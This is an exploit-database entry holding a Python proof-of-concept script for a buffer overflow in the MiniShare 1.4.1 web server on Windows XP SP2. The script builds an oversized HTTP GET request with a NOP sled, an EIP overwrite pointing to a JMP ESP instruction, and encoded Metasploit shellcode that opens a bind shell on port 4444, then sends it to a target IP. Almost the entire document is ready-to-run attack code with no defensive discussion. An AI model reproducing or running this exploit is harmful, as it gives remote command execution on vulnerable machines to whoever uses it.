MiniShare 1.4.1 0day exploit

#!/usr/bin/python

#tested on WIN XP SP2 English
#tested on Jan 24 2012 01 : 19 AM (Jakarta - Indonesia)
#tested by red-dragon
# Inj3ct0r Exploit DataBase 1337day.com

import socket

target_ip="10.10.10.129"

evil = "GET "
evil+= "\x90" * 1787 # 1787 = [email protected]:~/Desktop# cd /opt/framework/msf3/tools/ && ./pattern_offset.rb 36684335
evil+= "\x65\x82\xA5\x7C" # EIP Overwrite, Executable Modules = Shell32.dll, OS = Windows XP SP2 English, JMP ESP = 7CA58265.
evil+= "\x90" * 16
# msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -a x86 -e x86/shikata_ga_nai -b '\x00\x0a\x0d' -t c
evil+= ("\xba\x8c\x26\x65\xaa\xdd\xc2\xd9\x74\x24\xf4\x5d\x2b\xc9\xb1"
"\x56\x31\x55\x13\x03\x55\x13\x83\xed\x70\xc4\x90\x56\x60\x80"
"\x5b\xa7\x70\xf3\xd2\x42\x41\x21\x80\x07\xf3\xf5\xc2\x4a\xff"
"\x7e\x86\x7e\x74\xf2\x0f\x70\x3d\xb9\x69\xbf\xbe\x0f\xb6\x13"
"\x7c\x11\x4a\x6e\x50\xf1\x73\xa1\xa5\xf0\xb4\xdc\x45\xa0\x6d"
"\xaa\xf7\x55\x19\xee\xcb\x54\xcd\x64\x73\x2f\x68\xba\x07\x85"
"\x73\xeb\xb7\x92\x3c\x13\xbc\xfd\x9c\x22\x11\x1e\xe0\x6d\x1e"
"\xd5\x92\x6f\xf6\x27\x5a\x5e\x36\xeb\x65\x6e\xbb\xf5\xa2\x49"
"\x23\x80\xd8\xa9\xde\x93\x1a\xd3\x04\x11\xbf\x73\xcf\x81\x1b"
"\x85\x1c\x57\xef\x89\xe9\x13\xb7\x8d\xec\xf0\xc3\xaa\x65\xf7"
"\x03\x3b\x3d\xdc\x87\x67\xe6\x7d\x91\xcd\x49\x81\xc1\xaa\x36"
"\x27\x89\x59\x23\x51\xd0\x35\x80\x6c\xeb\xc5\x8e\xe7\x98\xf7"
"\x11\x5c\x37\xb4\xda\x7a\xc0\xbb\xf1\x3b\x5e\x42\xf9\x3b\x76"
"\x81\xad\x6b\xe0\x20\xcd\xe7\xf0\xcd\x18\xa7\xa0\x61\xf2\x08"
"\x11\xc2\xa2\xe0\x7b\xcd\x9d\x11\x84\x07\xa8\x15\x4a\x73\xf9"
"\xf1\xaf\x83\xec\x5d\x39\x65\x64\x4e\x6f\x3d\x10\xac\x54\xf6"
"\x87\xcf\xbe\xaa\x10\x58\xf6\xa4\xa6\x67\x07\xe3\x85\xc4\xaf"
"\x64\x5d\x07\x74\x94\x62\x02\xdc\xdf\x5b\xc5\x96\xb1\x2e\x77"
"\xa6\x9b\xd8\x14\x35\x40\x18\x52\x26\xdf\x4f\x33\x98\x16\x05"
"\xa9\x83\x80\x3b\x30\x55\xea\xff\xef\xa6\xf5\xfe\x62\x92\xd1"
"\x10\xbb\x1b\x5e\x44\x13\x4a\x08\x32\xd5\x24\xfa\xec\x8f\x9b"
"\x54\x78\x49\xd0\x66\xfe\x56\x3d\x11\x1e\xe6\xe8\x64\x21\xc7"
"\x7c\x61\x5a\x35\x1d\x8e\xb1\xfd\x2d\xc5\x9b\x54\xa6\x80\x4e"
"\xe5\xab\x32\xa5\x2a\xd2\xb0\x4f\xd3\x21\xa8\x3a\xd6\x6e\x6e"
"\xd7\xaa\xff\x1b\xd7\x19\xff\x09")
evil+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_ip,80))
sock.send(evil)
sock.close()



#  0day.today [2018-02-16]  #